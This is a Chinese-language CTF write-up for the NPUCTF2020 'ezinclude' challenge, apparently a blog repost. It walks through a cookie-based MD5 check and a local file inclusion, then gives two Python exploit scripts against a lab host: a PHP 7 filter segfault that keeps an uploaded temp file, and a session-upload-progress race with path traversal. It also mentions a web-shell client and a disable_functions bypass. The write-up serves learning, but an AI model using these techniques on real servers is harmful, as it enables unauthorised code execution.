[NPUCTF2020]ezinclude 文件包含两大 getshell方式

PHP LFI 利用临时文件 Getshell 姿势 | 码农家园

说一下我的思路吧

robots没有

扫描发现存在 dir.php

然后404.html 报错

apache 2.18 ubuntu

这个又正好存在漏洞 所以前面全去看这个了

结果根本不是这样做。。。

正确的思路是这样

[NPUCTF2020]ezinclude 文件包含两大 getshell方式_第1张图片

发现变量 认为是 name和 pass传递参数

或者通过爆破 但是太慢了

我们可以抓包测试

[NPUCTF2020]ezinclude 文件包含两大 getshell方式_第2张图片

发现了 hash  因为提示我们MD5 所以我们需要注意

然后我们传递一个 ?name=2

[NPUCTF2020]ezinclude 文件包含两大 getshell方式_第3张图片

发现hash变了 这里我们就多半能确定 cookie是我们的pass

因为 name改变 cookie也改变 然后都是hash值

所以我们pass=hash一下看看

GET /?name=2&pass=616bcf60c47829c8e770b19fd45336d9 HTTP/1.

[NPUCTF2020]ezinclude 文件包含两大 getshell方式_第4张图片

我们去访问看看

这里全程只能 bp抓包

不然会跳转 404

[NPUCTF2020]ezinclude 文件包含两大 getshell方式_第5张图片

发现 include了 文件包含 我们去看看 用伪协议读取一下文件吧

首先是 404.html 一点用都没有。。。

我们看看 dir.php

我们看看index


           window.location.href="flflflflag.php";
	
';
}else{
	setcookie("Hash",md5($secret.$name),time()+3600000);
	echo "username/password error";
}
?>



okok 做到这里 一点思路都没得了 只有 dir.php存在输出 多半是通过 dir.php输出内容 那我要怎么实现啊。。。。。

看wp吧

学到了学到了

PHP LFI 利用临时文件Getshell_双层小牛堡的博客-CSDN博客

这里是我学习到的知识点

我们开始

1. php7 Segment Fault

我们首先抓包的时候可以可以发现[NPUCTF2020]ezinclude 文件包含两大 getshell方式_第6张图片

存在 php 7 这里存在一个漏洞

如果用 过滤器  string.strip_args 的时候 选择一个文件

并且我们可以通过fuzz或者dir.php查找

exp

#python 2.7

import requests
from io import BytesIO

url1 = "http://852f2c43-71c0-4238-bc32-a0ed26a77477.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=dir.php"

files = {'file': BytesIO('')}

re = requests.post(url=url1, files=files, allow_redirects=False)

url2 = "http://852f2c43-71c0-4238-bc32-a0ed26a77477.node4.buuoj.cn:81/dir.php"

re2 = requests.get(url=url2)

print
re2.text

但是很奇怪 我根本在web中无法实现 所以我用蚁剑链接

[NPUCTF2020]ezinclude 文件包含两大 getshell方式_第7张图片

但是奇了怪了 无法执行命令 啥都没有 可能被disable_function 了

我们用插件bypass

[NPUCTF2020]ezinclude 文件包含两大 getshell方式_第8张图片

[NPUCTF2020]ezinclude 文件包含两大 getshell方式_第9张图片

错的 看wp才知道是在phpinfo中

正好也有插件可以查看phpinfo

[NPUCTF2020]ezinclude 文件包含两大 getshell方式_第10张图片

获取flag

2.session get shell

这里不知道有没有开启session 但是文件包含题目 可以试试看

exp

import io
import sys
import requests
import threading

sessid = 'shell'


def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://852f2c43-71c0-4238-bc32-a0ed26a77477.node4.buuoj.cn:81/',
            data={
                "PHP_SESSION_UPLOAD_PROGRESS": "');?>"},
            files={"file": ('q.txt', f)},
            cookies={'PHPSESSID': sessid}
        )


def READ(session):
    while True:
        response = session.get(
            f'http://852f2c43-71c0-4238-bc32-a0ed26a77477.node4.buuoj.cn:81/flflflflag.php?file=../../../../../../../../tmp/sess_{sessid}')
        # print('[+++]retry')
        # print(response.text)

        if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session,))
    t1.daemon = True
    t1.start()

    READ(session)

一直跑就出来了 因为返回了phpinfo

里面存在flag

[NPUCTF2020]ezinclude 文件包含两大 getshell方式_第11张图片

你可能感兴趣的:(BUUctf,php)